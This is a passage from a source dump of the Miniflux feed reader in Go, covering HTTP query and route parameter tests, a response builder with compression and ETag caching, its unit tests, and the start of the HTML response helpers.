httptest.NewRecorder()\n\trouter.ServeHTTP(w, r)\n}\n\nfunc TestRouteInt64ParamWithServerMux(t *testing.T) {\n\trouter := http.NewServeMux()\n\trouter.HandleFunc(\"GET /a/{variable1}/b/{variable2}/c/{variable3}\", func(w http.ResponseWriter, r *http.Request) {\n\t\tresult := RouteInt64Param(r, \"variable1\")\n\t\texpected := int64(42)\n\n\t\tif result != expected {\n\t\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t\t}\n\n\t\tresult = RouteInt64Param(r, \"missing variable\")\n\t\texpected = 0\n\n\t\tif result != expected {\n\t\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t\t}\n\n\t\tresult = RouteInt64Param(r, \"variable2\")\n\t\texpected = 0\n\n\t\tif result != expected {\n\t\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t\t}\n\n\t\tresult = RouteInt64Param(r, \"variable3\")\n\t\texpected = 0\n\n\t\tif result != expected {\n\t\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t\t}\n\t})\n\n\tr, err := http.NewRequest(http.MethodGet, \"/a/42/b/not-int/c/-10\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\trouter.ServeHTTP(w, r)\n}\n\nfunc TestQueryStringParam(t *testing.T) {\n\tu, _ := url.Parse(\"http://example.org/?key=value\")\n\tr := &http.Request{URL: u}\n\n\tresult := QueryStringParam(r, \"key\", \"fallback\")\n\texpected := \"value\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %q instead of %q`, result, expected)\n\t}\n\n\tresult = QueryStringParam(r, \"missing key\", \"fallback\")\n\texpected = \"fallback\"\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestQueryIntParam(t *testing.T) {\n\tu, _ := url.Parse(\"http://example.org/?key=42&invalid=value&negative=-5\")\n\tr := &http.Request{URL: u}\n\n\tresult := QueryIntParam(r, \"key\", 84)\n\texpected := 42\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n\n\tresult = QueryIntParam(r, \"missing key\", 84)\n\texpected = 84\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n\n\tresult = QueryIntParam(r, \"negative\", 69)\n\texpected = 69\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n\n\tresult = QueryIntParam(r, \"invalid\", 99)\n\texpected = 99\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n}\n\nfunc TestQueryInt64Param(t *testing.T) {\n\tu, _ := url.Parse(\"http://example.org/?key=42&invalid=value&negative=-5\")\n\tr := &http.Request{URL: u}\n\n\tresult := QueryInt64Param(r, \"key\", int64(84))\n\texpected := int64(42)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n\n\tresult = QueryInt64Param(r, \"missing key\", int64(84))\n\texpected = int64(84)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n\n\tresult = QueryInt64Param(r, \"negative\", int64(69))\n\texpected = int64(69)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n\n\tresult = QueryInt64Param(r, \"invalid\", int64(99))\n\texpected = int64(99)\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %d instead of %d`, result, expected)\n\t}\n}\n\nfunc TestQueryBoolParam(t *testing.T) {\n\tu, _ := url.Parse(\"http://example.org/?truthy=true&falsy=false&invalid=wat\")\n\tr := &http.Request{URL: u}\n\n\tresult := QueryBoolParam(r, \"truthy\", false)\n\texpected := true\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %v instead of %v`, result, expected)\n\t}\n\n\tresult = QueryBoolParam(r, \"falsy\", true)\n\texpected = false\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %v instead of %v`, result, expected)\n\t}\n\n\tresult = QueryBoolParam(r, \"missing\", true)\n\texpected = true\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %v instead of %v`, result, expected)\n\t}\n\n\tresult = QueryBoolParam(r, \"invalid\", true)\n\texpected = true\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %v instead of %v`, result, expected)\n\t}\n}\n\nfunc TestQueryStringParamList(t *testing.T) {\n\tu, _ := url.Parse(\"http://example.org/?tag=alpha&tag=beta&tag=+&tag=%20%20gamma%20%20&empty=\")\n\tr := &http.Request{URL: u}\n\n\tresult := QueryStringParamList(r, \"tag\")\n\texpected := []string{\"alpha\", \"beta\", \"gamma\"}\n\n\tif !reflect.DeepEqual(result, expected) {\n\t\tt.Errorf(`Unexpected result, got %v instead of %v`, result, expected)\n\t}\n\n\tresult = QueryStringParamList(r, \"missing\")\n\texpected = nil\n\n\tif !reflect.DeepEqual(result, expected) {\n\t\tt.Errorf(`Unexpected result, got %v instead of %v`, result, expected)\n\t}\n}\n\nfunc TestHasQueryParam(t *testing.T) {\n\tu, _ := url.Parse(\"http://example.org/?key=42\")\n\tr := &http.Request{URL: u}\n\n\tresult := HasQueryParam(r, \"key\")\n\texpected := true\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %v instead of %v`, result, expected)\n\t}\n\n\tresult = HasQueryParam(r, \"missing key\")\n\texpected = false\n\n\tif result != expected {\n\t\tt.Errorf(`Unexpected result, got %v instead of %v`, result, expected)\n\t}\n}\n"
  },
  {
    "path": "internal/http/response/builder.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport (\n\t\"compress/flate\"\n\t\"compress/gzip\"\n\t\"io\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/andybalholm/brotli\"\n)\n\nconst compressionThreshold = 1024\n\n// Builder generates HTTP responses.\ntype Builder struct {\n\tw                 http.ResponseWriter\n\tr                 *http.Request\n\tstatusCode        int\n\theaders           map[string]string\n\tenableCompression bool\n\tbody              any\n}\n\n// NewBuilder creates a new response builder.\nfunc NewBuilder(w http.ResponseWriter, r *http.Request) *Builder {\n\treturn &Builder{w: w, r: r, statusCode: http.StatusOK, headers: make(map[string]string), enableCompression: true}\n}\n\n// WithStatus uses the given status code to build the response.\nfunc (b *Builder) WithStatus(statusCode int) *Builder {\n\tb.statusCode = statusCode\n\treturn b\n}\n\n// WithHeader adds the given HTTP header to the response.\nfunc (b *Builder) WithHeader(key, value string) *Builder {\n\tb.headers[key] = value\n\treturn b\n}\n\n// WithBodyAsBytes uses the given bytes to build the response.\nfunc (b *Builder) WithBodyAsBytes(body []byte) *Builder {\n\tb.body = body\n\treturn b\n}\n\n// WithBodyAsString uses the given string to build the response.\nfunc (b *Builder) WithBodyAsString(body string) *Builder {\n\tb.body = body\n\treturn b\n}\n\n// WithBodyAsReader uses the given reader to build the response.\nfunc (b *Builder) WithBodyAsReader(body io.Reader) *Builder {\n\tb.body = body\n\treturn b\n}\n\n// WithAttachment forces the document to be downloaded by the web browser.\nfunc (b *Builder) WithAttachment(filename string) *Builder {\n\tb.headers[\"Content-Disposition\"] = \"attachment; filename=\" + filename\n\treturn b\n}\n\n// WithoutCompression disables HTTP compression.\nfunc (b *Builder) WithoutCompression() *Builder {\n\tb.enableCompression = false\n\treturn b\n}\n\n// WithCaching adds caching headers to the response.\nfunc (b *Builder) WithCaching(etag string, duration time.Duration, callback func(*Builder)) {\n\tetag = normalizeETag(etag)\n\tb.headers[\"ETag\"] = etag\n\tb.headers[\"Cache-Control\"] = \"public\"\n\tb.headers[\"Expires\"] = time.Now().Add(duration).UTC().Format(http.TimeFormat)\n\n\tif ifNoneMatch(b.r.Header.Get(\"If-None-Match\"), etag) {\n\t\tb.statusCode = http.StatusNotModified\n\t\tb.body = nil\n\t\tb.Write()\n\t} else {\n\t\tcallback(b)\n\t}\n}\n\n// Write generates the HTTP response.\nfunc (b *Builder) Write() {\n\tif b.body == nil {\n\t\tb.writeHeaders()\n\t\treturn\n\t}\n\n\tswitch v := b.body.(type) {\n\tcase []byte:\n\t\tb.compress(v)\n\tcase string:\n\t\tb.compress([]byte(v))\n\tcase io.Reader:\n\t\t// Compression not implemented in this case\n\t\tb.writeHeaders()\n\t\t_, err := io.Copy(b.w, v)\n\t\tif err != nil {\n\t\t\tslog.Error(\"Unable to write response body\", slog.Any(\"error\", err))\n\t\t}\n\t}\n}\n\nfunc (b *Builder) writeHeaders() {\n\tb.headers[\"X-Content-Type-Options\"] = \"nosniff\"\n\tb.headers[\"X-Frame-Options\"] = \"DENY\"\n\tb.headers[\"Referrer-Policy\"] = \"no-referrer\"\n\n\tfor key, value := range b.headers {\n\t\tb.w.Header().Set(key, value)\n\t}\n\n\tb.w.WriteHeader(b.statusCode)\n}\n\nfunc (b *Builder) compress(data []byte) {\n\tif b.enableCompression && len(data) > compressionThreshold {\n\t\tb.headers[\"Vary\"] = \"Accept-Encoding\"\n\t\tacceptEncoding := b.r.Header.Get(\"Accept-Encoding\")\n\t\tswitch {\n\t\tcase strings.Contains(acceptEncoding, \"br\"):\n\t\t\tb.headers[\"Content-Encoding\"] = \"br\"\n\t\t\tb.writeHeaders()\n\n\t\t\tbrotliWriter := brotli.NewWriterV2(b.w, brotli.DefaultCompression)\n\t\t\tbrotliWriter.Write(data)\n\t\t\tbrotliWriter.Close()\n\t\t\treturn\n\t\tcase strings.Contains(acceptEncoding, \"gzip\"):\n\t\t\tb.headers[\"Content-Encoding\"] = \"gzip\"\n\t\t\tb.writeHeaders()\n\n\t\t\tgzipWriter := gzip.NewWriter(b.w)\n\t\t\tgzipWriter.Write(data)\n\t\t\tgzipWriter.Close()\n\t\t\treturn\n\t\tcase strings.Contains(acceptEncoding, \"deflate\"):\n\t\t\tb.headers[\"Content-Encoding\"] = \"deflate\"\n\t\t\tb.writeHeaders()\n\n\t\t\tflateWriter, _ := flate.NewWriter(b.w, -1)\n\t\t\tflateWriter.Write(data)\n\t\t\tflateWriter.Close()\n\t\t\treturn\n\t\t}\n\t}\n\n\tb.writeHeaders()\n\tb.w.Write(data)\n}\n\nfunc normalizeETag(etag string) string {\n\tetag = strings.TrimSpace(etag)\n\tif etag == \"\" {\n\t\treturn \"\"\n\t}\n\tif strings.HasPrefix(etag, `\"`) || strings.HasPrefix(etag, `W/\"`) {\n\t\treturn etag\n\t}\n\treturn `\"` + etag + `\"`\n}\n\nfunc ifNoneMatch(headerValue, etag string) bool {\n\tif headerValue == \"\" || etag == \"\" {\n\t\treturn false\n\t}\n\tif strings.TrimSpace(headerValue) == \"*\" {\n\t\treturn true\n\t}\n\t// Weak ETag comparison: the opaque-tag (quoted string without W/ prefix) must match.\n\treturn strings.Contains(headerValue, strings.TrimPrefix(etag, `W/`))\n}\n"
  },
  {
    "path": "internal/http/response/builder_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport (\n\t\"bytes\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestResponseHasCommonHeaders(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\theaders := map[string]string{\n\t\t\"X-Content-Type-Options\": \"nosniff\",\n\t\t\"X-Frame-Options\":        \"DENY\",\n\t}\n\n\tfor header, expected := range headers {\n\t\tactual := resp.Header.Get(header)\n\t\tif actual != expected {\n\t\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t\t}\n\t}\n}\n\nfunc TestBuildResponseWithCustomStatusCode(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithStatus(http.StatusNotAcceptable).Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\texpectedStatusCode := http.StatusNotAcceptable\n\tif resp.StatusCode != expectedStatusCode {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, expectedStatusCode)\n\t}\n}\n\nfunc TestBuildResponseWithCustomHeader(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithHeader(\"X-My-Header\", \"Value\").Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\texpected := \"Value\"\n\tactual := resp.Header.Get(\"X-My-Header\")\n\tif actual != expected {\n\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t}\n}\n\nfunc TestBuildResponseWithAttachment(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithAttachment(\"my_file.pdf\").Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\texpected := \"attachment; filename=my_file.pdf\"\n\tactual := resp.Header.Get(\"Content-Disposition\")\n\tif actual != expected {\n\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t}\n}\n\nfunc TestBuildResponseWithByteBody(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithBodyAsBytes([]byte(\"body\")).Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\n\texpectedBody := `body`\n\tactualBody := w.Body.String()\n\tif actualBody != expectedBody {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, expectedBody)\n\t}\n}\n\nfunc TestBuildResponseWithCachingEnabled(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithCaching(\"etag\", 1*time.Minute, func(b *Builder) {\n\t\t\tb.WithBodyAsString(\"cached body\")\n\t\t\tb.Write()\n\t\t})\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\texpectedStatusCode := http.StatusOK\n\tif resp.StatusCode != expectedStatusCode {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, expectedStatusCode)\n\t}\n\n\texpectedBody := `cached body`\n\tactualBody := w.Body.String()\n\tif actualBody != expectedBody {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, expectedBody)\n\t}\n\n\texpectedHeader := \"public\"\n\tactualHeader := resp.Header.Get(\"Cache-Control\")\n\tif actualHeader != expectedHeader {\n\t\tt.Fatalf(`Unexpected cache control header, got %q instead of %q`, actualHeader, expectedHeader)\n\t}\n\n\tif actualETag := resp.Header.Get(\"ETag\"); actualETag != `\"etag\"` {\n\t\tt.Fatalf(`Unexpected etag header, got %q instead of %q`, actualETag, `\"etag\"`)\n\t}\n\n\tif resp.Header.Get(\"Expires\") == \"\" {\n\t\tt.Fatalf(`Expires header should not be empty`)\n\t}\n}\n\nfunc TestBuildResponseWithCachingAndIfNoneMatch(t *testing.T) {\n\ttests := []struct {\n\t\tname           string\n\t\tifNoneMatch    string\n\t\texpectedStatus int\n\t\texpectedBody   string\n\t}{\n\t\t{\"matching strong etag\", `\"etag\"`, http.StatusNotModified, \"\"},\n\t\t{\"matching weak etag\", `W/\"etag\"`, http.StatusNotModified, \"\"},\n\t\t{\"multiple etags with match\", `\"other\", W/\"etag\"`, http.StatusNotModified, \"\"},\n\t\t{\"wildcard\", `*`, http.StatusNotModified, \"\"},\n\t\t{\"non-matching etag\", `\"different\"`, http.StatusOK, \"cached body\"},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tr.Header.Set(\"If-None-Match\", tt.ifNoneMatch)\n\n\t\t\tw := httptest.NewRecorder()\n\n\t\t\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tNewBuilder(w, r).WithCaching(\"etag\", 1*time.Minute, func(b *Builder) {\n\t\t\t\t\tb.WithBodyAsString(\"cached body\")\n\t\t\t\t\tb.Write()\n\t\t\t\t})\n\t\t\t})\n\n\t\t\thandler.ServeHTTP(w, r)\n\t\t\tresp := w.Result()\n\n\t\t\tif resp.StatusCode != tt.expectedStatus {\n\t\t\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, resp.StatusCode, tt.expectedStatus)\n\t\t\t}\n\n\t\t\tif actual := w.Body.String(); actual != tt.expectedBody {\n\t\t\t\tt.Fatalf(`Unexpected body, got %q instead of %q`, actual, tt.expectedBody)\n\t\t\t}\n\n\t\t\tif resp.Header.Get(\"Cache-Control\") != \"public\" {\n\t\t\t\tt.Fatalf(`Unexpected Cache-Control header: %q`, resp.Header.Get(\"Cache-Control\"))\n\t\t\t}\n\n\t\t\tif resp.Header.Get(\"Expires\") == \"\" {\n\t\t\t\tt.Fatalf(`Expires header should not be empty`)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestNormalizeETag(t *testing.T) {\n\ttests := []struct {\n\t\tinput    string\n\t\texpected string\n\t}{\n\t\t{\"abc\", `\"abc\"`},\n\t\t{`\"already-quoted\"`, `\"already-quoted\"`},\n\t\t{`W/\"weak\"`, `W/\"weak\"`},\n\t\t{\"\", \"\"},\n\t\t{\"  spaced  \", `\"spaced\"`},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.input, func(t *testing.T) {\n\t\t\tif actual := normalizeETag(tt.input); actual != tt.expected {\n\t\t\t\tt.Fatalf(`normalizeETag(%q) = %q, want %q`, tt.input, actual, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestIfNoneMatch(t *testing.T) {\n\ttests := []struct {\n\t\tname        string\n\t\theaderValue string\n\t\tetag        string\n\t\texpected    bool\n\t}{\n\t\t{\"empty header\", \"\", `\"etag\"`, false},\n\t\t{\"empty etag\", `\"etag\"`, \"\", false},\n\t\t{\"exact match\", `\"etag\"`, `\"etag\"`, true},\n\t\t{\"weak vs strong match\", `W/\"etag\"`, `\"etag\"`, true},\n\t\t{\"wildcard\", `*`, `\"etag\"`, true},\n\t\t{\"no match\", `\"other\"`, `\"etag\"`, false},\n\t\t{\"match in list\", `\"a\", \"etag\", \"b\"`, `\"etag\"`, true},\n\t\t{\"no match in list\", `\"a\", \"b\", \"c\"`, `\"etag\"`, false},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tif actual := ifNoneMatch(tt.headerValue, tt.etag); actual != tt.expected {\n\t\t\t\tt.Fatalf(`ifNoneMatch(%q, %q) = %v, want %v`, tt.headerValue, tt.etag, actual, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestBuildResponseWithBrotliCompression(t *testing.T) {\n\tbody := strings.Repeat(\"a\", compressionThreshold+1)\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tr.Header.Set(\"Accept-Encoding\", \"gzip, deflate, br\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithBodyAsString(body).Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\texpected := \"br\"\n\tactual := resp.Header.Get(\"Content-Encoding\")\n\tif actual != expected {\n\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t}\n}\n\nfunc TestBuildResponseWithGzipCompression(t *testing.T) {\n\tbody := strings.Repeat(\"a\", compressionThreshold+1)\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tr.Header.Set(\"Accept-Encoding\", \"gzip, deflate\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithBodyAsString(body).Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\texpected := \"gzip\"\n\tactual := resp.Header.Get(\"Content-Encoding\")\n\tif actual != expected {\n\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t}\n}\n\nfunc TestBuildResponseWithDeflateCompression(t *testing.T) {\n\tbody := strings.Repeat(\"a\", compressionThreshold+1)\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tr.Header.Set(\"Accept-Encoding\", \"deflate\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithBodyAsString(body).Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\texpected := \"deflate\"\n\tactual := resp.Header.Get(\"Content-Encoding\")\n\tif actual != expected {\n\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t}\n\n\texpectedVary := \"Accept-Encoding\"\n\tactualVary := resp.Header.Get(\"Vary\")\n\tif actualVary != expectedVary {\n\t\tt.Fatalf(`Unexpected vary header value, got %q instead of %q`, actualVary, expectedVary)\n\t}\n}\n\nfunc TestBuildResponseWithCompressionDisabled(t *testing.T) {\n\tbody := strings.Repeat(\"a\", compressionThreshold+1)\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tr.Header.Set(\"Accept-Encoding\", \"deflate\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithBodyAsString(body).WithoutCompression().Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\texpected := \"\"\n\tactual := resp.Header.Get(\"Content-Encoding\")\n\tif actual != expected {\n\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t}\n\n\texpectedVary := \"\"\n\tactualVary := resp.Header.Get(\"Vary\")\n\tif actualVary != expectedVary {\n\t\tt.Fatalf(`Unexpected vary header value, got %q instead of %q`, actualVary, expectedVary)\n\t}\n}\n\nfunc TestBuildResponseWithDeflateCompressionAndSmallPayload(t *testing.T) {\n\tbody := strings.Repeat(\"a\", compressionThreshold)\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tr.Header.Set(\"Accept-Encoding\", \"deflate\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithBodyAsString(body).Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\texpected := \"\"\n\tactual := resp.Header.Get(\"Content-Encoding\")\n\tif actual != expected {\n\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t}\n\n\texpectedVary := \"\"\n\tactualVary := resp.Header.Get(\"Vary\")\n\tif actualVary != expectedVary {\n\t\tt.Fatalf(`Unexpected vary header value, got %q instead of %q`, actualVary, expectedVary)\n\t}\n}\n\nfunc TestBuildResponseWithoutCompressionHeader(t *testing.T) {\n\tbody := strings.Repeat(\"a\", compressionThreshold+1)\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithBodyAsString(body).Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\tresp := w.Result()\n\n\texpected := \"\"\n\tactual := resp.Header.Get(\"Content-Encoding\")\n\tif actual != expected {\n\t\tt.Fatalf(`Unexpected header value, got %q instead of %q`, actual, expected)\n\t}\n\n\texpectedVary := \"Accept-Encoding\"\n\tactualVary := resp.Header.Get(\"Vary\")\n\tif actualVary != expectedVary {\n\t\tt.Fatalf(`Unexpected vary header value, got %q instead of %q`, actualVary, expectedVary)\n\t}\n}\n\nfunc TestBuildResponseWithReaderBody(t *testing.T) {\n\tr, err := http.NewRequest(\"GET\", \"/\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tNewBuilder(w, r).WithBodyAsReader(bytes.NewBufferString(\"body\")).Write()\n\t})\n\n\thandler.ServeHTTP(w, r)\n\n\tif actualBody := w.Body.String(); actualBody != \"body\" {\n\t\tt.Fatalf(`Unexpected body, got %s instead of %s`, actualBody, \"body\")\n\t}\n}\n"
  },
  {
    "path": "internal/http/response/html.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage response // import \"miniflux.app/v2/internal/http/response\"\n\nimport (\n\t\"html\"\n\t\"log/slog\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n)\n\n// HTML creates a new HTML response with a 200 status code.\nfunc HTML[T []byte | string](w http.ResponseWriter, r *http.Request, body T) {\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithHeader(\"Content-Type\", \"text/html; charset=utf-8\")\n\tbuilder.WithHeader(\"Cache-Control\", \"no-cache, max-age=0, must-revalidate, no-store\")\n\tswitch v := any(body).(type) {\n\tcase []byte:\n\t\tbuilder.WithBodyAsBytes(v)\n\tcase string:\n\t\tbuilder.WithBodyAsString(v)\n\t}\n\tbuilder.Write()\n}\n\n// HTMLServerError sends an internal error to the client.\nfunc HTMLServerError(w http.ResponseWriter, r *http.Request, err error) {\n\tslog.Error(http.StatusText(http.StatusInternalServerError),\n\t\tslog.Any(\"error\", err),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.Group(\"request\",\n\t\t\tslog.String(\"method\", r.Method),\n\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t),\n\t\tslog.Group(\"response\",\n\t\t\tslog.Int(\"status_code\", http.StatusInternalServerError),\n\t\t),\n\t)\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusInternalServerError)\n\tbuilder.WithHeader(\"Content-Security-Policy\", ContentSecurityPolicyForUntrustedContent)\n\tbuilder.WithHeader(\"Content-Type\", \"text/plain; charset=utf-8\")\n\tbuilder.WithHeader(\"Cache-Control\", \"no-cache, max-age=0, must-revalidate, no-store\")\n\tbuilder.WithBodyAsString(html.EscapeString(err.Error()))\n\tbuilder.Write()\n}\n\n// HTMLBadRequest sends a bad request error to the client.\nfunc HTMLBadRequest(w http.ResponseWriter, r *http.Request, err error) {\n\tslog.Warn(http.StatusText(http.StatusBadRequest),\n\t\tslog.Any(\"error\", err),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.Group(\"request\",\n\t\t\tslog.String(\"method\", r.Method),\n\t\t\tslog.String(\"uri\", r.RequestURI),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t),\n\t\tslog.Group(\"response\",\n\t\t\tslog.Int(\"status_code\", http.StatusBadRequest),\n\t\t),\n\t)\n\n\tbuilder := NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusBadRequest)\n\tbuilder.WithHeader(\"Content-Security-Policy\", ContentSecurityPolicyForUntrustedContent)\n\tbuilder.WithHeader(\"Content-Type\", \"text/plain; charset=utf-8\")\n\tbuilder.WithHeader(\"Cache-Control\", \"no-cache, max-age=0, must-revalidate, no-store\")\n\tbuilder.WithBodyAsString(html.EscapeString(err.Error()))\n\tbuilder.Write()\n}\n\n// HTMLForbidden sends a forbidden error to the client.\nfunc HTMLForbidden(w http.ResponseWriter, r *http.Request) {\n\tslog.Warn(http.StatusText(http.StatusForbidden),\n\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\tslog.Group(\"request\",\n\t\t\tslog.String(\"method\", 